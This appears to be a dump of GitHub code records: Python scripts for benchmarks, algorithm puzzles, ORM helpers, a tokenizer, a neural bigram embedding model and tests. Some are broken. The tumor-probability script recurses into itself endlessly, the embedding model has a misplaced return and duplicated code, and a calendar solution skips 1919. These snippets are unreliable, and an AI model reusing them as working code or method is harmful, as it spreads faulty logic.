gp_user_logout(fw_ip=fw_ip, fw_key=fw_key, username=_, computer=value, gateway_name=gateway_name)\n\n    result = {\n        \"GP_DUPLICATE_SUMMARY\": gp_duplicate_lst,\n        \"GP_DUPLICATE_EXTENDED\": gp_duplicate_ext\n    }\n    return result\n","repo_name":"ysaied/gp_logout_tool","sub_path":"pan_fw.py","file_name":"pan_fw.py","file_ext":"py","file_size_in_byte":9721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8945027814","text":"import os\nimport matplotlib.pyplot as plt\n\n'''\nQichen Xu 2020, KTH.\nQuestions. Here the steps you need to follow for the exercise submission:\n\n1.Run the STREAM benchmark for 5 times and record the average values of bandwidth and its standard deviation for the copy kernel\nPrepare a plot (with Excel, Matlab, Gnuplot, …) comparing the bandwidth using 1-2-4-8-12-16-20-24-28-32 threads.\n\n2.How does the bandwidth measured with copy kernel depend on the number of threads?\n\n3.Prepare a plot comparing the bandwidth measured with copy kernel with static, dynamic and guided schedules using 32 threads.\nHow do you set the schedule in the STREAM code? What is the fastest schedule and why do you think it is so?\n'''\n\n#Solve the first problem\n#compile the C++ stream.c with flag :-O -fopenmp\ncompile_stream_c = os.system(\"gcc-9 -O -fopenmp stream.c -o stream\")\n#run and record the average kernel copy\n\n\n\n#uncomment if on laptop\n#threads_number = [1,2,4,8,12,16]\n#uncomment if on HPC\nthreads_number = [1,2,4,8,12,16,20,24,28,32]\ncopy_kernel_result_average = []\n\nfor tn in threads_number:\n    copy_kernel_result = 0\n    os.system(\"export OMP_NUM_THREADS={}\".format(tn))\n    for step in range(5):\n        os.system(\"./stream > log\")\n        with open(r\"./log\", 'r') as file: \n            for line in file.readlines(): \n                if \"Copy:\" in line: \n                    s = line.split() \n                    copy_kernel_result = copy_kernel_result + float(s[1])\n        os.system('rm log')\n    average = copy_kernel_result/5       \n    copy_kernel_result_average.append(average)\n\n\n#plot the bandwidth\nfig, ax = plt.subplots()\nax.plot(threads_number, copy_kernel_result_average)\nax.set(xlabel='thread number', ylabel='bandwidth MB/s',\n       title='STREAM benchmark---Copy bandwidth')\nax.grid()\nfig.savefig(\"STREAM_benchmark_Copy_bandwidth.png\")\n\n\n\n\n\n\n\n#Solve the thrid problem\n#compile with static and dynamic, stream.c is in guided model\ncompile_stream_c = os.system(\"gcc-9 -O -fopenmp stream_static.c -o stream_static\")\ncompile_stream_c = os.system(\"gcc-9 -O -fopenmp stream_dynamic.c -o stream_dynamic\")\n\n#run and record the average kernel copy\ntn = 32\nschedule_list = [\"stream\",\"stream_static\",\"stream_dynamic\"]\n\ncopy_kernel_result_average = []\nfor schedule in schedule_list:\n    copy_kernel_result = 0\n    os.system(\"export OMP_NUM_THREADS={}\".format(tn))\n    for step in range(5):\n        os.system(\"./{} > log\".format(schedule))\n        with open(r\"./log\", 'r') as file: \n            for line in file.readlines(): \n                if \"Copy:\" in line: \n                    s = line.split() \n                    copy_kernel_result = copy_kernel_result + float(s[1])\n        os.system('rm log')\n    average = copy_kernel_result/5       \n    copy_kernel_result_average.append(average)\n\n\n#plot the bandwidth\nfig, ax = plt.subplots()\nax.plot(schedule_list, copy_kernel_result_average)\nax.set(xlabel='schedule name', ylabel='bandwidth MB/s',\n       title='STREAM benchmark---Copy bandwidth---different schedule')\nax.grid()\nfig.savefig(\"STREAM_benchmark_Copy_bandwidth_different_schedule.png\")\n    \n","repo_name":"MXJK851/FDD3258","sub_path":"Assignment2/Qichen/Exercise_2.py","file_name":"Exercise_2.py","file_ext":"py","file_size_in_byte":3096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73409641016","text":"from unittest import TestCase\nimport numpy as np\nfrom qclib.state_preparation import FnPointsInitialize\nfrom qclib.util import get_state\n\nclass TestVentura(TestCase):\n    \"\"\" Testing qclib.state_preparation.ventura.initialize \"\"\"\n    def test_binary_function(self):\n        \"\"\"\n          Testing a function (f(z) in {0, 1, ..., N-1}) with z in {0,1}^n.\n        \"\"\"\n        # couples of input and output.\n        n_qubits = 4\n        function_io = {0: 0, 1: 1, 2: 2, 3: 3, 4: 4, 11: 0, 12: 1, 13: 2, 14: 3, 15: 4}\n        function_io = {f'{input_z:0{n_qubits}b}':output_s\n                        for input_z, output_s in function_io.items()}\n\n        nnzero = len(function_io)\n        max_denominator = max(function_io.values())-1\n\n        opt_params = {'n_output_values': max_denominator}\n        circuit = FnPointsInitialize(function_io, opt_params=opt_params).definition\n        state = get_state(circuit)\n\n        desired_state = []\n        for k in [f'{i:0{n_qubits}b}' for i in range(2**n_qubits)]:\n            # The amplitudes of modulus \"1/sqrt(m)\" will be \"2 pi / N\" radians\n            # apart from each other on the complex plane.\n            if k in function_io:\n                amplitude = -1/np.sqrt(nnzero)*np.exp(function_io[k]*1j*2*np.pi/max_denominator)\n                desired_state.append(amplitude)\n            else:\n                desired_state.append(0)\n\n        # The data is encoded in the first 2^n amplitudes of the circuit state vector.\n        self.assertTrue(np.allclose(desired_state, state[:2**n_qubits]))\n","repo_name":"qclib/qclib","sub_path":"test/test_fnpoints.py","file_name":"test_fnpoints.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"22"}
+{"seq_id":"32736148996","text":"import sys\n\n\ndef find_parent(x):\n    if x == parent[x]:\n        return x\n    parent[x] = find_parent(parent[x])\n    return parent[x]\n\nans = []\nt = int(sys.stdin.readline())\nfor _ in range(t):\n    friend_code = dict()\n    idx = 0\n    parent = list()\n    group = list()\n    f = int(sys.stdin.readline())\n    for _ in range(f):\n        a, b = sys.stdin.readline().rstrip(\"\\n\").split()\n        if a not in friend_code:\n            friend_code[a] = idx\n            parent.append(idx)\n            group.append(1)\n            idx += 1\n        if b not in friend_code:\n            friend_code[b] = idx\n            parent.append(idx)\n            group.append(1)\n            idx += 1\n\n        a = friend_code[a]\n        b = friend_code[b]\n        f_a, f_b = find_parent(a), find_parent(b)\n        parent[f_a] = f_b\n        if f_a != f_b:\n            group[f_b] += group[f_a]\n\n        ans.append(group[f_b])\n\nfor i in ans:\n    print(i)\n\n","repo_name":"InfDev00/Python-Repository","sub_path":"baekJoon/유니온 파인드/4195.py","file_name":"4195.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7978040065","text":"from sqlalchemy import select, func\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom records import models as md\n\n\nasync def count_likes(record_id: int, session: AsyncSession) -> int:\n    '''\n    Returned count likes for record\n    '''\n    query = select(func.count()).where(md.Like.record_id == record_id, md.Like.like == md.LikeOrDislike.LIKE)\n    result = await session.execute(query)\n    return result.scalar()\n\nasync def count_dislikes(record_id: int, session: AsyncSession) -> int:\n    '''\n    Returned count dislikes for record\n    '''\n    query = select(func.count()).where(md.Like.record_id == record_id, md.Like.like == md.LikeOrDislike.DISLIKE)\n    result = await session.execute(query)\n    return result.scalar()\n\nasync def is_liked(record_id: int, user_id: int, session: AsyncSession) -> bool:\n    '''\n    Returned status like for record\n    '''\n    query = select(md.Like).where(md.Like.record_id == record_id, md.Like.user_id == user_id)\n    result = await session.execute(query)\n    like = result.scalar_one_or_none()\n    return like is not None\n","repo_name":"Nikolrusik/social-network","sub_path":"src/records/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23342615198","text":"#! /env/bin/ python\n#We can also calculate the probability of regression where x is current progression and y the regression or stabilised tumors. We are looking at the probability of tumor types progressing or regressing based on current data x and y per tumor type:\n\n#lists of values\nx = [1.98, 1.21, 1.34]     #progressive\ny = [0.00, -0.03, -1.09]   #regressive\n\ndef pdf(x, y):\n\tfor l in pdf(x, y):\n\t\tfor i in range(len(y)):\n\t\t\tfor j in range(len(x)):\n\t\t\t\tl / (i + y)\n\na = pdf(x, y)\n\nprint(a)","repo_name":"RussC-Xer0n3/Py","sub_path":"tumor_probability_prog_reg.py","file_name":"tumor_probability_prog_reg.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22542781442","text":"# https://www.hackerrank.com/contests/w29/challenges/day-of-the-programmer\n\n# !/bin/python3\n\nimport sys\n\ny = int(input().strip())\n# your code goes here\n\n# first 8 months, feb will be calculated accordingly temporary 28\nmonth_days = {'jan': 31, 'feb': 28, 'mar': 31, 'apr': 30, 'may': 31, 'jun': 30, 'jul': 31, 'aug': 31}\n\nis_leap_y = False\nis_transition = False\n\n# Julian Calendar\nif 1700 <= y <= 1917:\n    is_leap_y = y % 4 == 0\n\n# transition\nif y == 1918:\n    is_leap_y = y % 4 == 0\n    is_transition = True\n\n# Gregorian Calendar\nif y > 1919:\n    is_leap_y = (y % 400) == 0 or ((y % 4 == 0) and (y % 100 != 0))\n\nif is_leap_y:\n    month_days['feb'] = 29\n\nif is_transition:\n    month_days['feb'] -= 14\n\ndays = 256 - sum(month_days.values())\n\nprint(str(days) + \".09\" + \".\" + str(y))\n","repo_name":"TheolZacharopoulos/algorithms-playground","sub_path":"problems/day_of_the_programmer.py","file_name":"day_of_the_programmer.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32576863421","text":"\"\"\"\n# Use pairs in CausalNet as causal bigrams\n\"\"\"\nimport numpy as np\nimport configparser\nimport pickle\nfrom processor import Processor\nfrom six.moves import xrange\n\ndef sigmoid(z):\n    return 1.0/(1.0 + np.exp(-z))\n\ndef softmax(x): # x is np array, N x v\n    return (np.exp(x.T) / np.sum(np.exp(x.T), axis = 0)).T # due to broadcast rule, we use tranverse .T\n\ndef add_list(l1, l2, sz):\n    return [l1[i] + l2[i]/sz for i in range(len(l1))]\n\ndef idxmapping(idx, rowsize, colsize):\n    assert idx < rowsize*colsize, \"idx error, out of index\"\n    row = idx / colsize\n    col = idx % colsize\n    return row,col\n\nclass BigramEmbed(object):\n    \"\"\" Bigram embeddings model, for copa words (small vocabulary)\n    To deal with large vocabulary dictionary, use hierarchy softmax technique \"\"\"\n    def __init__(self, architecture, opt, processor): # with one hidden layer\n\n        self.processor = processor\n        self.L = len(architecture) - 1\n        self.architecture = architecture\n        self.opt = opt\n        # initial weights and biases\n        self.weights = []\n        self.biases = []\n        for idx in xrange(len(architecture)-1):\n            # follows N(0,1) distribution: np.random.randn(shape)\n            # follows N(miu, sigma^2) distribution: sigma * np.random.randn(shape) + miu\n            self.weights.append( 0.1 * np.random.randn( architecture[idx+1], architecture[idx] ) ) # L x H x V (append L times: V x H)\n            self.biases.append( 0.1 * np.random.randn( architecture[idx+1], 1 ) ) # L x H (append L times: H x 1)\n\n        self.batch_size = opt['batch_size']\n        self.tolerance = opt['tolerance']\n        self.learning_rate = opt['learning_rate']\n        self.maxecho = opt['maxecho']\n        self.lambda_ = opt['lambda']\n\n    def train(self):\n        \"\"\" SVD for training \"\"\"\n        converge = False\n        iteration = 0\n        start = 0\n        train_idx_list = self.processor.dataidxs\n        data_size = len(train_idx_list)\n\n        while not converge and iteration < self.maxecho:\n            expectend = start + self.batch_size\n            if expectend <= data_size:\n                batch_idx_list = train_idx_list[start : expectend]\n            else:\n                batch_idx_list = train_idx_list[start : data_size] + train_idx_list[0 : expectend - data_size]\n\n            start = expectend % data_size\n            #batch_data, batch_label = self.processor.transform_data(train_idx_list[start:end])\n\n            # batch_data: context vectors, batch_label: target vectors\n            wgradients, bgradients = self.mini_batch(batch_idx_list) # only one hidden layer\n\n            #print('cost:', self.cost())\n\n            # update w,b parameters\n            wgradients_magnitude = np.array([ np.linalg.norm(wgradient) for wgradient in wgradients ])\n            bgradients_magnitude = np.array([ np.linalg.norm(bgradient) for bgradient in bgradients ])\n            self.update(wgradients, bgradients)\n            if np.sum(wgradients_magnitude) < self.tolerance and np.sum(bgradients_magnitude) < self.tolerance:\n                converge = True\n\n            iteration += 1\n            print('magnitude:',np.sum(wgradients_magnitude))\n            print('iteration: ',iteration)\n\n        #print('weights:',self.weights,'biases:',self.biases)\n\n    def mini_batch(self, batch_idx_list):\n        batch_data, batch_label = self.processor.transform_data(batch_idx_list,'nec')\n        sz = batch_label.shape[0] # number of batch examples\n\n        avg_wgradients = [np.zeros(weight.shape) for weight in self.weights]\n        avg_bgradients = [np.zeros(bias.shape) for bias in self.biases]\n\n        for i in xrange(sz):\n            data = batch_data[i][np.newaxis].T # ith row, v x 1\n            label = batch_label[i][np.newaxis].T\n            wgradients, bgradients = self.applygradient(data, label)\n            # gradient check\n            layer = 1\n            self.gradient_check(data, label, wgradients[layer], bgradients[layer], layer)\n\n            avg_wgradients = add_list(avg_wgradients, wgradients, float(sz))\n            avg_bgradients = add_list(avg_bgradients, bgradients, float(sz))\n\n        return (avg_wgradients, avg_bgradients)\n\n    def gradient_check(self, sampled_data, sampled_label, wgradient, bgradient, layer = 1):\n        # gradient check\n        numeric_wgradient, wsample = self.computeNumericGradient(sampled_data.T, sampled_label.T, self.weights[layer])\n        numeric_bgradient, bsample = self.computeNumericGradient(sampled_data.T, sampled_label.T, self.biases[layer])\n        for x,ws in enumerate(wsample):\n            index = idxmapping(ws, *self.weights[layer].shape)\n            close = np.isclose(wgradient[index], numeric_wgradient[x])\n            diffw = np.linalg.norm(wgradient[index] - numeric_wgradient[x])\n            print('diffw:', diffw, close)\n\n        for x,bs in enumerate(bsample):\n            index = idxmapping(bs, *self.biases[layer].shape)\n            close = np.isclose(bgradient[index], numeric_bgradient[x])\n            diffb = np.linalg.norm(bgradient[index] - numeric_bgradient[x])\n            print('diffb:', diffb, close)\n\n\n    def update(self, wgradients, bgradients, iteration = None):\n        if iteration:\n            pass # decay learning rate\n        for idx in xrange(self.L):\n            self.weights[idx] -= self.learning_rate * wgradients[idx]\n            self.biases[idx] -= self.learning_rate * bgradients[idx]\n\n    def computeNumericGradient(self, input, label, theta, epsilon=1e-4, sampleNum = 10):\n        \"\"\" theta: w or b\n        \"\"\"\n        h,v = theta.shape\n        sample = np.random.randint(0, h*v, sampleNum)\n        grad = np.zeros(sampleNum)\n\n        for i,idx in enumerate(sample):\n            # change theta\n            theta[idxmapping(idx,h,v)] += epsilon\n            c1 = self.getCost(input, label)\n            theta[idxmapping(idx,h,v)] -= 2*epsilon\n            c2 = self.getCost(input, label)\n            grad[i] = (c1 - c2) / (2*epsilon)\n            theta[idxmapping(idx,h,v)] += epsilon\n\n        return grad, sample\n\n    def applygradient(self, train_data, train_label):\n        \"\"\" calculate wgradients, bgradients for all layers (L-1 ~ 0)\n        d: represents dJ/dz at lth layer\n        At current layer:\n            a0 -- z1 -- a1\n        \"\"\"\n        wgradients = []\n        bgradients = []\n        # generate outputs for each layer, i.e. ai for each layer i\n        a0 = train_data # (v,1)\n        outputs = [a0] # output[i] represents ai, i range from 0 to L\n        for idx in xrange(self.L):\n            weight = self.weights[idx] # weight: h x v\n            bias = self.biases[idx] # bias: h x 1\n            a0 = self.feedforward(a0, weight, bias) # h x 1\n            outputs.append(a0)\n\n        # d: h x 1\n        # d = - outputs[self.L] * (1-outputs[self.L]) * (train_label-outputs[self.L]) # at layer L, initial, 10 x 1\n        d = outputs[self.L] - train_label\n#return 0.5 * np.sum((output - label)**2) \\ # for quadratic cost function, output N x 50\n\n        # for cross entropy cost function, label N x 50\n        return - np.sum(np.log(output) * label) \\\n            + 0.5 * self.lambda_ * sum([np.sum(weight**2) for weight in self.weights])\n        # influence: 1) dJ/dW, J has an additional term lambda/2 * (||W1||+||W2||+...+||WL||)\n                    # we should add a term on its gradient dJ/dW, for Wl, its:\n                    # lambda * Wl\n                    #2)\n        for l in xrange(self.L-1,-1,-1): # L-1 ~ 0\n            # calculate gradient at layer l, l range from L-1 to 0\n            # at layer l, current d is at l+1\n            a0 = outputs[l]\n            a1 = outputs[l+1]\n            wgradient = np.dot(d,a0.T) \\\n                + self.lambda_*self.weights[l]# h x 1,1 x v -> h x v\n            bgradient = d # h x 1\n            wgradients = [wgradient] + wgradients\n            bgradients = [bgradient] + bgradients\n\n            # gradient check\n            numeric_wgradient, wsample = self.computeNumericGradient(train_data.T, train_label.T, self.weights[l])\n            numeric_bgradient, bsample = self.computeNumericGradient(train_data.T, train_label.T, self.biases[l])\n            for x,ws in enumerate(wsample):\n                index = idxmapping(ws, *self.weights[l].shape)\n                close = np.isclose(wgradient[index], numeric_wgradient[x])\n                diffw = np.linalg.norm(wgradient[index] - numeric_wgradient[x])\n                #print('diffw:', diffw, close)\n\n            for x,bs in enumerate(bsample):\n                index = idxmapping(bs, *self.biases[l].shape)\n                close = np.isclose(bgradient[index], numeric_bgradient[x])\n                diffb = np.linalg.norm(bgradient[index] - numeric_bgradient[x])\n\n            # update d for next layer, i.e. layer l-1\n            d = np.dot(self.weights[l].T,d) * (a0*(1-a0)) # d at layer l\n\n        return (wgradients, bgradients)\n\n    def feedforward(self, a0, weight, bias):\n        \"\"\" a0 -- z1 -- a1, return a1 \"\"\"\n        a1 = sigmoid(np.dot(weight, a0) + bias) # h x v, v x 1\n        return a1 # h x 1\n\n    def feedforward_all(self, a0, weight, bias):\n        \"\"\" a0 -- z1 -- a1, return a1, for N examples \"\"\"\n        a1 = sigmoid(np.dot(weight, a0.T) + bias) # h x N\n        return a1.T # N x h\n\n    def computeNumericGradient(self, input, label, theta, epsilon=1e-4, sampleNum = 10):\n        \"\"\" theta: w or b\n        \"\"\"\n        h,v = theta.shape\n        sample = np.random.randint(0, h*v, sampleNum)\n        grad = np.zeros(sampleNum)\n\n        for i,idx in enumerate(sample):\n            # change theta\n            theta[idxmapping(idx,h,v)] += epsilon\n            c1 = self.getCost(input, label)\n            theta[idxmapping(idx,h,v)] -= 2*epsilon\n            c2 = self.getCost(input, label)\n            grad[i] = (c1 - c2) / (2*epsilon)\n            theta[idxmapping(idx,h,v)] += epsilon\n\n        return grad, sample\n\n\n    def cost(self, output, label):\n        # When use quadratic cost function\n        # return 0.5 * np.sum((output - label)**2)\n\n        # When top layer is softmax layer:\n        # return np.sum(np.nan_to_num(-np.log(output) * label))\n\n        # When top layer is sigmoid layer\n        return np.sum(-label*np.log(output) - (1-label)*np.log(1-output)) \\\n        + 0.5 * self.lambda_ * sum([np.sum(weight**2) for weight in self.weights])\n        # influence: 1) dJ/dW, J has an additional term lambda/2 * (||W1||+||W2||+...+||WL||)\n                    # we should add a term on its gradient dJ/dW, for Wl, its:\n                    # lambda * Wl\n                    #2)\n\n    def predict_output(self, input_data):\n        \"\"\" Todo: need to add softmax layer later\"\"\"\n        for idx in xrange(len(self.weights)):\n            weight = self.weights[idx] # weight: h x v\n            bias = self.biases[idx] # bias: h x 1\n            input_data = self.feedforward_all(input_data, weight, bias) # N x h\n        #output = softmax(input_data) # N x v\n        output = input_data\n        return output\n\n    def getCost(self, input_data, label): # for a mini batch\n        output = self.predict_output(input_data) # output: N x v\n        return self.cost(output, label)\n\n    def predict_target(self,input_data): # N x v, N examples and V input/visual units\n        output = self.predict_output(input_data) # N x v\n        return np.argmax(output, axis = 1).T #  1 x N\n\n    def get_embeddings(self,fn):\n        with open(fn,'wb') as f:\n            obj = []\n            for i in range(self.processor.volcab_size):\n                # wordid: i\n                input_vec = np.zeros([self.processor.volcab_size,1])\n                input_vec[i,0] = 1.\n                embedding = self.feedforward(input_vec, self.weights[0], self.biases[0]) # embeddings\n                obj.append(embedding)\n\n            pickle.dump(obj,f)\n\nDEBUG = True\n\nif DEBUG:\n    opt = {'learning_rate':0.1, \\\n        'weight_decay': 1e-3, \\\n        'tolerance': 0.1, \\\n        'batch_size': 100, \\\n        'maxecho': 2000, \\\n        'lambda': 1e-3 }\n    processor = Processor('bi-config.ini','COPA')\n    v = processor.volcab_size\n    bimodel = BigramEmbed([v, 50, v], opt, processor)\n    bimodel.train()\n    #bimodel.get_embeddings('biembeds.pickle')\n    bimodel.get_embeddings(processor.biembeddingsfn)\n","repo_name":"yysherlock/embeddings","sub_path":"bigram/biembeds.py","file_name":"biembeds.py","file_ext":"py","file_size_in_byte":12240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72912921336","text":"n = int(input())\n\nfor i in range(0,n):\n    x = int(input())\n    a = 0\n    for j in range(1,x):\n        if x % j == 0:\n            a +=1\n        if a > 1:\n            break\n    if a == 1:\n        print(x,\"eh primo\")\n    else:\n        print(x,\"nao eh primo\")","repo_name":"gabrieltren/urionline","sub_path":"1165.py","file_name":"1165.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"24620531981","text":"import os\nimport pytest\nimport responses\nfrom requests.exceptions import HTTPError\nfrom inverter import Abb, ParamsAbb\n\nDIRNAME = os.path.dirname(__file__)\n\n\n@responses.activate\ndef test_should_get_134_707_when_call_the_method_getMonthly():\n    params_abb = ParamsAbb(\n        'http://abb',\n        'will',\n        'xxxxxxx',\n        '111111'\n    )\n\n    with open(DIRNAME+'/fixture/summary.json', 'r') as json:\n        responses.add(\n            responses.GET,\n            params_abb.url_summary, status=200, body=json.read())\n\n    abb = Abb(params_abb)\n    assert abb.getSummary().getMonthly() == 134.707\n\n\n@responses.activate\ndef test_should_raise_a_http_exception():\n    params_abb = ParamsAbb(\n        'http://abb',\n        'will',\n        'xxxxxxx',\n        '111111'\n    )\n\n    responses.add(\n            responses.GET,\n            params_abb.url_summary, status=403, json='{}')\n    \n    abb = Abb(params_abb)\n    with pytest.raises(HTTPError):\n        abb.getSummary().getMonthly()","repo_name":"riquellopes/solar-saved-money","sub_path":"tests/test_inverter.py","file_name":"test_inverter.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"18801523982","text":"'''\n출처 : 프로젝트 오일러 2번문제, 한글 번역판\n\n피보나치 수열의 각 항은 바로 앞의 항 두 개를 더한 것이 됩니다.\n1과 2로 시작하는 경우 이 수열은 아래와 같습니다.\n\n1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ...\n\n짝수이면서 4백만 이하인 모든 항을 더하면 얼마가 됩니까?\n'''\n\ndef fibo( n ):\n    if n in (1,2):\n        return n\n    return fibo(n-1) + fibo(n-2)\n\nsumv = 0\nn = 1\n\nwhile 1:\n    f = fibo(n)  # 매번 이렇게 구할 필요가 없지. (성능)\n    if f > 4000000: break\n    n += 1\n    if f % 2 == 0:\n        sumv += f\n\nprint(sumv)\n\n\n'''\n좀더 간단하고 성능도 월등히 좋은 코드\n\na, b = [0,1]\nsum = 0\nwhile b <= 4000000:\n    a = a + b\n    b, a = a, b\n    if b % 2 == 0: sum += b\nprint(sum)\n'''\n","repo_name":"wangfuli217/study_room","sub_path":"algorithm/even_fibonacci_numbers.py","file_name":"even_fibonacci_numbers.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"19239485658","text":"from token_type import TokenType\nfrom token import Token\nfrom error import *\nimport string\nimport re\n\n\nclass Scanner(object):\n    non_conditional_char_tokentypes = {\n        '(': TokenType.LEFT_PAREN,\n        ')': TokenType.RIGHT_PAREN,\n        '{': TokenType.LEFT_BRACE,\n        '}': TokenType.RIGHT_BRACE,\n        ',': TokenType.COMMA,\n        '.': TokenType.DOT,\n        '-': TokenType.MINUS,\n        '+': TokenType.PLUS,\n        ';': TokenType.SEMICOLON,\n        '*': TokenType.STAR,\n        '/': TokenType.SLASH\n    }\n\n    conditional_char_tokentypes = {\n        '!': lambda self: TokenType.BANG_EQUAL if self.match('=') else TokenType.BANG,\n        '=': lambda self: TokenType.EQUAL_EQUAL if self.match('=') else TokenType.EQUAL,\n        '>': lambda self: TokenType.GREATER_EQUAL if self.match('=') else TokenType.GREATER,\n        '<': lambda self: TokenType.LESS_EQUAL if self.match('=') else TokenType.LESS\n    }\n\n    keywords = {\n        \"and\": TokenType.AND,\n        \"class\": TokenType.CLASS,\n        \"else\": TokenType.ELSE,\n        \"false\": TokenType.FALSE,\n        \"for\": TokenType.FOR,\n        \"fun\": TokenType.FUN,\n        \"if\": TokenType.IF,\n        \"nil\": TokenType.NIL,\n        \"or\": TokenType.OR,\n        \"print\": TokenType.PRINT,\n        \"return\": TokenType.RETURN,\n        \"super\": TokenType.SUPER,\n        \"this\": TokenType.THIS,\n        \"true\": TokenType.TRUE,\n        \"var\": TokenType.VAR,\n        \"int\": TokenType.VAR_INT,\n        \"str\": TokenType.VAR_STR,\n        \"while\": TokenType.WHILE,\n    }\n\n    def __init__(self, source):\n        self.source = source\n\n        self.tokens = []\n\n        self.line = 1\n        self.start = 0\n        self.current = 0\n\n        self.stripComments()\n\n    def stripComments(self):\n        self.source = re.sub(r'\\/\\/.*\\n', '', self.source)\n        self.source = re.sub(r';\\s*\\n', '', self.source)  # XXX: remove trailing semicolons\n\n    def scanTokens(self):\n        while not self.isAtEnd():\n            self.start = self.current\n\n            self.scanToken()\n\n        self.tokens.append(Token(TokenType.EOF, '', None, self.line))\n\n        return self.tokens\n\n    def scanToken(self):\n        char = self.advance()\n\n        if char in (' ', '\\r', '\\t'):\n            pass\n        elif char == '\\n':\n            self.line += 1\n        elif char in self.non_conditional_char_tokentypes:\n            self.addToken(self.non_conditional_char_tokentypes[char])\n        elif char in self.conditional_char_tokentypes:\n            self.addToken(self.conditional_char_tokentypes[char](self))\n        elif char == '\"':\n            self.processString()\n        elif char in string.digits:\n            self.processDigit()\n        elif char.isalpha() or char == '_':\n            self.processIdentifier()\n        else:\n            ErrorHandler.report(ScannerError(\n                \"Unexpected character.\"), self.line)\n\n    def processIdentifier(self):\n        while self.peek().isalnum() or self.peek() == '_':\n            self.advance()\n\n        text = self.source[self.start: self.current]\n\n        token_type = TokenType.IDENTIFIER\n\n        if text in self.keywords:\n            token_type = self.keywords[text]\n\n        self.addToken(token_type)\n\n    def processString(self):\n        while self.peek() != '\"' and not self.isAtEnd():\n            if self.peek() == '\\n':\n                self.line += 1\n\n            self.advance()\n\n        # Unterminated string.\n        if self.isAtEnd():\n            ErrorHandler.report(ScannerError(\n                \"Unterminated string.\"), self.line)\n            return\n\n        # The closing \".\n        self.advance()\n\n        # Trim the surrounding quotes.\n        value = self.source[self.start + 1: self.current - 1]\n        self.addToken(TokenType.STRING, value)\n\n    def processDigit(self):\n        while self.peek().isnumeric():\n            self.advance()\n\n        # Look for a fractional part.\n        if self.peek() == '.' and self.peekNext().isnumeric():\n            # Consume the \".\"\n            self.advance()\n\n            while self.peek().isnumeric():\n                self.advance()\n\n        self.addToken(TokenType.NUMBER, int(\n            self.source[self.start: self.current]))\n\n    def addToken(self, token_type, literal=None):\n        text = self.source[self.start: self.current]\n        self.tokens.append(Token(token_type, text, literal, self.line))\n\n    def match(self, char):\n        if self.isAtEnd():\n            return False\n        elif self.source[self.current] != char:\n            return False\n        else:\n            self.current += 1\n            return True\n\n    def advance(self):\n        self.current += 1\n        return self.source[self.current - 1]\n\n    def peekNext(self):\n        if self.current + 1 >= len(self.source):\n            return '\\0'\n        else:\n            return self.source[self.current + 1]\n\n    def peek(self):\n        if self.isAtEnd():\n            return '\\0'\n        else:\n            return self.source[self.current]\n\n    def isAtEnd(self):\n        return self.current >= len(self.source)\n","repo_name":"aaronjanse/type-lang","sub_path":"interpret/scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":5033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26502940259","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nfrom P275 import LinearRegressionGD\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import LinearRegression\n\ndef lin_regplot(X, y, model):\n    plt.scatter(X, y, c='blue')\n    plt.plot(X, model.predict(X), color='red')\n    return None\n\ndf = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/housing/housing.data',\n                 header=None, sep='\\s+')\ndf.columns = ['CRIM', 'ZN', 'INDUS', 'CHAS',\n              'NOX', 'RM', 'AGE', 'DIS', 'RAD',\n              'TAX', 'PTRATIO', 'B', 'LSTAT', 'MEDV']\nsns.set(style='whitegrid', context='notebook')\ncols = ['LSTAT', 'INDUS', 'NOX', 'RM', 'MEDV']\nX = df[['RM']].values\ny = df['MEDV'].values\n#-----------------------------------------------\nslr = LinearRegression()\nslr.fit(X, y)\nprint('Slope: %.3f' % slr.coef_[0])\nprint('Intercept: %.3f' % slr.intercept_)\n\nlin_regplot(X, y, slr)\nplt.ylabel('Average number of rooms[RM] (Standardized)')\nplt.xlabel('Price in $1000\\s [MEDV] (Standardized)')\nplt.show()\n","repo_name":"nk7260ynpa/Python_Machine_Learning_black_book","sub_path":"P279.py","file_name":"P279.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
